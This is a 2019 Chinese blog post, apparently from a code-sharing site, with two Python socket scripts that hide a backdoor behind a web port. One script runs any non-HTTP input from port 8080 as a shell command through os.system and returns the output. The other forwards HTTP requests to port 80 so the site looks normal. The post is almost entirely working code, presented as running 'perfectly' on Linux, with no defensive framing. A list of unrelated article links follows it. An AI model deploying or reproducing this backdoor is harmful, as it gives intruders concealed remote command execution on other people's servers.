python基于socket进行端口转发实现后门隐藏的示例


Posted in Python onJuly 25, 2019

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
  print("waiting for connection...")
  tcpCliSock,addr = tcpSerSock.accept()
  print("...connected from:",addr)
  
  while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
      break
    info = data.split('\n')
    command = info[0]
    try:
      os.system(command + " > command.txt");
      file = open('command.txt')
      data =""
      for line in file:
        data=data+line;
      tcpCliSock.send(data)
    except Exception:
      tcpCliSock.send("Nothing to do")

  tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
  data = tcpCliSock.recv(BUFFER_SIZE)
  if 'HTTP' in data:
    tcp3 = socket(AF_INET,SOCK_STREAM)
    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp3.connect(('127.0.0.1',80))
    tcp3.send(data)
    htmlinfo = tcp3.recv(2048)
    if not htmlinfo:
      tcp3.close()
    else:
      tcpCliSock.send(htmlinfo)
  else:
    tcp2 = socket(AF_INET,SOCK_STREAM)
    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp2.connect(('127.0.0.1',8888))
    data = data.replace("\n"," ")
    print data
    tcp2.send(data)
    commandinfo = tcp2.recv(1024)
    tcpCliSock.send(commandinfo)
    tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python实现的批量下载RFC文档
Mar 10 Python
用Python的Django框架来制作一个RSS阅读器
Jul 22 Python
Python数据操作方法封装类实例
Jun 23 Python
python分块读取大数据,避免内存不足的方法
Dec 10 Python
centos6.5安装python3.7.1之后无法使用pip的解决方案
Feb 14 Python
python pandas模块基础学习详解
Jul 03 Python
PyCharm专业最新版2019.1安装步骤(含激活码)
Oct 09 Python
python实现梯度法 python最速下降法
Mar 24 Python
python使用pyecharts库画地图数据可视化的实现
Mar 25 Python
Python日志:自定义输出字段 json格式输出方式
Apr 27 Python
Python定时任务APScheduler原理及实例解析
May 30 Python
可视化pytorch 模型中不同BN层的running mean曲线实例
Jun 24 Python
Django实现跨域请求过程详解
Jul 25 #Python
Django Rest framework认证组件详细用法
Jul 25 #Python
Django Rest framework权限的详细用法
Jul 25 #Python
Django Rest framework解析器和渲染器详解
Jul 25 #Python
Django Form 实时从数据库中获取数据的操作方法
Jul 25 #Python
Django MEDIA的配置及用法详解
Jul 25 #Python
Django打印出在数据库中执行的语句问题
Jul 25 #Python
You might like
《魔兽世界》惊魂幻象将获得调整
2020/03/08 其他游戏
php中get_cfg_var()和ini_get()的用法及区别
2015/03/04 PHP
HTML中嵌入PHP的简单方法
2016/02/16 PHP
PHP CURL与java http使用方法详解
2018/01/26 PHP
PHP调用全国天气预报数据接口查询天气示例
2019/02/20 PHP
Laravel多域名下字段验证的方法
2019/04/04 PHP
你必须知道的JavaScript 中字符串连接的性能的一些问题
2013/05/07 Javascript
Javascript拓展String方法小结
2013/07/08 Javascript
jquery如何获取复选框的值
2013/12/12 Javascript
Javascript添加监听与删除监听用法详解
2014/12/19 Javascript
jquery获取css的color值返回RGB的方法
2015/12/18 Javascript
jQuery选择器及jquery案例详解(必看)
2016/05/20 Javascript
利用JavaScript实现栈的数据结构示例代码
2017/08/02 Javascript
基于node下的http小爬虫的示例代码
2018/01/11 Javascript
vue2.0获取鼠标位置的方法
2018/09/13 Javascript
基于vue.js实现分页查询功能
2018/12/29 Javascript
python实现爬虫下载漫画示例
2014/02/16 Python
使用Python下的XSLT API进行web开发的简单教程
2015/04/15 Python
在Python中编写数据库模块的教程
2015/04/29 Python
Python中的数学运算操作符使用进阶
2016/06/20 Python
浅谈python中str字符串和unicode对象字符串的拼接问题
2018/12/04 Python
jupyter notebook 添加kernel permission denied的操作
2020/04/21 Python
Python如何使用正则表达式爬取京东商品信息
2020/06/01 Python
Python制作数据预测集成工具(值得收藏)
2020/08/21 Python
Omio法国:全欧洲低价大巴、火车和航班搜索和比价
2017/11/13 全球购物
NBA欧洲商店(英国):NBA Europe Store UK
2018/07/27 全球购物
联想马亚西亚官方网站:Lenovo Malaysia
2018/09/19 全球购物
酒店执行总经理岗位职责
2013/12/15 职场文书
咖啡店自主创业商业计划书
2014/01/22 职场文书
模特职业生涯规划范文
2014/02/26 职场文书
高中军训第一天感言
2014/03/06 职场文书
大学生演讲稿
2014/04/25 职场文书
新教师培训心得体会
2014/09/02 职场文书
2014年民主评议党员工作总结
2014/12/02 职场文书
村级干部党员公开承诺事项
2015/05/04 职场文书
分享3个非常实用的 Python 模块
2022/03/03 Python